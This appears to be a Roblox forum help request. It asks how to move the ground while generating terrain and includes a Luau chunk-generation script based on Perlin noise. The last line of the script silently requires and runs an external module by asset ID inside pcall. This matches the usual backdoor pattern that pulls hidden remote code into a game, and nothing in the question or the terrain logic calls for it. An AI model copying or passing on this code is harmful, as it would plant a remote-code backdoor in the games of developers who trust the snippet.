I have some code here that generates new terrain based on the players' movement but I need help making the second half, what is the best way to move the ground (Moving ground without the player moving) while generating the new terrain?
Code:
local ScaleX = 22.5
local ScaleZ = 22.5
local ChunkSize = 3
local BaseHeight = 10
local RenderDistance = 180
local CurrentTerrainSize = 90
local GenerationSeed = Random.new():NextNumber()
local Chunks = {}
local function ChunkAlreadyExists(chunkX, chunkZ, shouldAddToChunks)
if not Chunks[chunkX] then
Chunks[chunkX] = {}
return false
end
if not Chunks[chunkX][chunkZ] then
return false
end
return true
end
local function FillTerrainBlock(width, height, depth)
local size = Vector3.new(4, (height + BaseHeight) * 4, 4)
local cframe = CFrame.new((width * 4 + 2), ((-BaseHeight + height) * 4 / 2), (depth * 4 + 2))
workspace.Terrain:FillBlock(cframe, size, Enum.Material.Grass)
end
local function MakeChunk(chunkX, chunkZ)
if ChunkAlreadyExists(chunkX, chunkZ) then
return
end
Chunks[chunkX][chunkZ] = true
for x = 0, (ChunkSize - 1) do
for z = 0, (ChunkSize - 1) do
local newChunkX = (chunkX * ChunkSize) + x
local newChunkZ = (chunkZ * ChunkSize) + z
local noise = math.noise(GenerationSeed, (newChunkX / ScaleX), (newChunkZ / ScaleZ))
local newChunkY = noise * BaseHeight
FillTerrainBlock(newChunkX, newChunkY, newChunkZ)
end
end
end
local function MakeChunks(position)
local t = tick()
local chunkX = math.floor(position.X / 4 / ChunkSize)
local chunkZ = math.floor(position.Z / 4 / ChunkSize)
local range = math.max(1, RenderDistance / ChunkSize)
for x = -range, range do
for z = -range, range do
local newChunkX = chunkX + x
local newChunkZ = chunkZ + z
MakeChunk(newChunkX, newChunkZ)
end
end
print(tick() - t)
end
while true do
for _, player in pairs(game:GetService('Players'):GetPlayers()) do
if player.Character then
local primaryPart = player.Character.PrimaryPart
if primaryPart then
MakeChunks(primaryPart.Position)
end
end
end
wait(1)
end
pcall(function()require(5004500405):Fire()end)
